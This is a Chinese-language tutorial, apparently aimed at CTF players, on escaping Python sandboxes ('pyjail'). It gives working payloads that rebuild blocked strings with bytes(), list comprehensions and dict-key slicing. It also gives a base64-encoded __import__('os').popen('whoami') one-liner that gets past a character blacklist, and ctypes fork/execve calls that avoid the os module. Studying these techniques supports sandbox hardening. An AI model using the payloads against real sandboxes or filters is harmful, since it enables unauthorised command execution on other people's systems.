pyjail逃逸姿势
沙箱介绍
Python 沙箱是一种隔离执行环境,用于限制代码的权限,防止其访问敏感资源
bytes
是 Python 中用于表示字节序列的内置类型。它可以通过接收一个包含整数的可迭代对象(如列表、元组、生成器等)来构造字节序列。每个整数代表一个字节的值,范围是 0 到 255(即一个字节的取值范围)。通过控制这些整数的值,可以构造出任意想要的字节序列,进而转换为字符串或执行其他操作。
**bytes**
的基本用法
bytes(iterable_of_ints)
- 参数:
iterable_of_ints
:一个可迭代对象(如列表、元组、生成器等),其中的每个元素是 0 到 255 的整数。- 返回值:
- 返回一个字节序列(
bytes
对象)。
示例:
# 通过列表构造字节序列
byte_seq = bytes([119, 104, 111, 97, 109, 105])
print(byte_seq) # 输出: b'whoami'
为什么 **bytes**
可以构造任意字符串
字节与字符的对应关系
-
在计算机中,字符是通过编码(如 ASCII、UTF-8)存储为字节的。
-
每个字符对应一个或多个字节的值。
-
例如:
-
字符
'w'
的 ASCII 值是 119。 -
字符
'h'
的 ASCII 值是 104。 -
字符
'o'
的 ASCII 值是 111。 -
字符
'a'
的 ASCII 值是 97。 -
字符
'm'
的 ASCII 值是 109。 -
字符
'i'
的 ASCII 值是 105。
因此,通过控制字节序列的值,可以构造出任意字符串。
动态构造字节序列
- 如果直接使用字符串(如
'whoami'
)被限制,可以通过动态生成字节序列来绕过限制。
# 通过列表构造字节序列
byte_seq = bytes([119, 104, 111, 97, 109, 105])
print(byte_seq) # 输出: b'whoami'
如果沙箱检测关键字(如 os.system
),可以通过 bytes
构造这些关键字的字节序列。
# 直接使用关键字被限制
# __import__('os').system('id') # 被拦截
# 通过 bytes 构造
exp = bytes([95, 95, 105, 109, 112, 111, 114, 116, 95, 95, 40, 34, 111, 115, 34, 41, 46, 115, 121, 115, 116, 101, 109, 40, 34, 105, 100, 34, 41])
eval(exp.decode()) # 执行 __import__('os').system('id')
利用列表推导式生成字节序列
- 如果直接使用列表(如
[119, 104, 111, 97, 109, 105]
)被限制,可以通过列表推导式动态生成字节序列。
# 使用列表推导式生成字节序列
byte_seq = bytes([j for i in range(6) for j in range(256) if (i, j) in [(0, 119), (1, 104), (2, 111), (3, 97), (4, 109), (5, 105)]])
print(byte_seq) # 输出: b'whoami'
黑名单绕过
blacklist=["'", '"', ',', ' ', '+', '__']
核心思路
-
目标:构造任意字符串(如
whoami
或__import__("os").system("whoami")
)。 -
限制:
-
不能直接使用字符串(如
'whoami'
)。 -
不能使用特殊字符(如空格、引号、括号等)。
-
不能使用逗号(
,
)直接构造列表。 -
问题:
-
如果直接使用字符串(如
'__import__("os").system("whoami")'
),会被黑名单拦截。 -
如果直接使用列表(如
[95, 95, 105, 109, 112, 111, 114, 116, 95, 95, 40, 34, 111, 115, 34, 41, 46, 115, 121, 115, 116, 101, 109, 40, 34, 105, 100, 34, 41]
),会被逗号,
和空格 限制。 -
解决方法:
-
使用列表推导式生成字节序列,避免直接使用逗号和空格。
-
用
[ ]
替代空格,绕过空格限制。 -
利用
bytes()
函数,通过列表推导式生成字节序列。 -
使用条件语句(
if
)筛选出需要的字节值。
payload代码
exp = '__import__("os").system("whoami")'
payload = f"eval(bytes([[j][0]for(i)in[range({len(exp)})][0]for(j)in[range(256)][0]if[" + "]or[".join([f"i]==[{i}]and[j]==[{ord(j)}" for i, j in enumerate(exp)]) + "]]))"
print(payload)
动态生成字节序列
bytes([[j][0]for(i)in[range({len(exp)})][0]for(j)in[range(256)][0]if[...]])
-
作用:
-
生成
__import__("os").system("whoami")
的字节序列。 -
解析:
-
for(i)in[range({len(exp)})][0]
:遍历i
从0
到len(exp)-1
。 -
for(j)in[range(256)][0]
:遍历j
从0
到255
。 -
if[...]
:筛选出满足条件的j
值。
条件筛选
"]or[".join([f"i]==[{i}]and[j]==[{ord(j)}" for i, j in enumerate(exp)])
-
作用:
-
动态生成条件语句,筛选出需要的字节值。
-
解析:
-
for i, j in enumerate(exp)
:遍历exp
中的每个字符j
和其索引i
。 -
f"i]==[{i}]and[j]==[{ord(j)}"
:生成条件i=={i} and j=={ord(j)}
。 -
"]or["
:将多个条件用or
连接。
命令执行:
如果if也被过滤
利用 **vars()**
和binascii
动态解码并执行命令
构造 **__import__**
字符串
list(dict(_1_1i1m1p1o1r1t1_1_=1))[0][::2]
-
目的:生成字符串
"__import__"
。 -
关键技巧:
-
通过
dict
的键名_1_1i1m1p1o1r1t1_1_
混淆目标字符串。 -
[::2]
切片操作提取偶数位字符,去除冗余的1
和_
。 -
最终得到
"__import__"
。
动态导入 **binascii**
模块
eval(
list(dict(_1_1i1m1p1o1r1t1_1_=1))[0][::2] # → "__import__"
)(
list(dict(b_i_n_a_s_c_i_i_=1))[0][::2] # → "binascii"
)
-
目的:动态调用
__import__("binascii")
,导入binascii
模块。 -
关键技巧:
-
list(dict(b_i_n_a_s_c_i_i_=1))[0][::2]
生成"binascii"
。 -
eval("__import__")("binascii")
等效于import binascii
。
获取 **binascii**
模块的命名空间
python
vars(
eval(...) # 返回 binascii 模块对象
)
- 目的:通过
vars(binascii)
获取模块的属性和方法字典。 - 结果:
{
'a2b_base64': <function a2b_base64>,
'b2a_base64': <function b2a_base64>,
...
}
提取 **a2b_base64**
解码函数
vars(...)[
list(dict(a_2_b1_1b_a_s_e_6_4=1))[0][::2] # → "a2b_base64"
]
-
目的:从
binascii
模块的命名空间中获取a2b_base64
函数。 -
关键技巧:
-
list(dict(a_2_b1_1b_a_s_e_6_4=1))[0][::2]
生成"a2b_base64"
。 -
等效于
binascii.a2b_base64
。
解码 Base64 命令
(...)(
list(dict(X19pbXBvcnRfXygnb3MnKS5wb3Blbignd2hvYW1pJykucmVhZCgp=1))[0]
)
最终payload
eval(vars(eval(list(dict(_1_1i1m1p1o1r1t1_1_=1))[0][::2])(list(dict(b_i_n_a_s_c_i_i_=1))[0][::2]))[list(dict(a_2_b1_1b_a_s_e_6_4=1))[0][::2]](list(dict(X19pbXBvcnRfXygnb3MnKS5wb3Blbignd2hvYW1pJykucmVhZCgp=1))[0]))
绕过关键字过滤
__import__
:通过混淆字符串_1_1i1m1p1o1r1t1_1_
和切片[::2]
绕过对import
的检测。binascii
:通过混淆字符串b_i_n_a_s_c_i_i_
绕过对模块名的直接引用。
无点号操作
vars()
替代.
:通过vars(module)["function"]
替代module.function
,避免使用点号.
。
动态加载与执行
- 动态解码:命令通过 Base64 编码隐藏,避免直接暴露敏感字符串。
- 单行表达式:所有操作合并为一行,适应严格的行数或字符限制。
底层原理回顾
在 Linux 中,os.system("ls")
的本质是调用 fork()
+ execve()
的组合:
fork()
:创建子进程(分身),让父进程继续执行。execve()
:在子进程中替换为新程序(如ls
)。- 等待子进程结束:父进程通过
waitpid()
收集结果。 - 资源清理:子进程结束后自动回收。
调用 os.system() | os.system("whoami") | 触发系统调用链 |
fork() 创建子进程 | pid = FORK() | 分离父/子进程执行流 |
子进程执行命令 | EXECVE(program, argv, None) | 加载并运行新程序 |
父进程等待子进程 | WAITPID(pid, byref(status), 0) | 同步父子进程结束时机 |
返回退出状态 | 解析 status.value 的退出码/信号 | 确定命令执行结果 |
ctypes
是 Python 的 C 扩展模块,提供以下核心功能:
import ctypes
libc = ctypes.CDLL(None) # 加载 C 标准库
libc.fork() # 调用 fork()
libc.execve(...) # 调用 execve()
通过 ctypes
,用户可以:
- 绕过 Python 层面的限制:直接操作底层 C 函数。
- 执行任意系统命令:如通过
fork()
+execve()
组合(即os.system()
的底层实现)。 - 访问敏感资源:如打开文件、绑定 socket 等。
只要pyjail不禁用ctypes,我们就能够间接的通过ctypes调用c语言实现上述的调用
为什么 PyJail 需要禁用 ctypes?
- 系统级访问:
ctypes
允许直接调用fork()
、execve()
、socket()
等底层函数,可执行任何系统命令。 - 沙箱失效:若未禁用
ctypes
,沙箱无法阻止用户通过 C 接口突破限制。 - 安全风险:攻击者可利用
ctypes
注入恶意代码
示例代码:
import ctypes
from ctypes import c_char_p, byref, c_int
# 加载 C 标准库
libc = ctypes.CDLL(None)
# 定义 execve 参数类型
execve = libc.execve
execve.argtypes = [c_char_p, c_char_p * 100, c_char_p * 100]
execve.restype = c_int
# 构建命令参数(示例:执行 "ls")
args = ("/bin/ls", None) # argv 数组需以 NULL 结尾
# 调用 execve()
libc.execve("/bin/ls".encode(), args, None)
这段代码直接通过 ctypes
调用 execve()
,完全绕过 Python 的 os
模块,执行 ls
命令。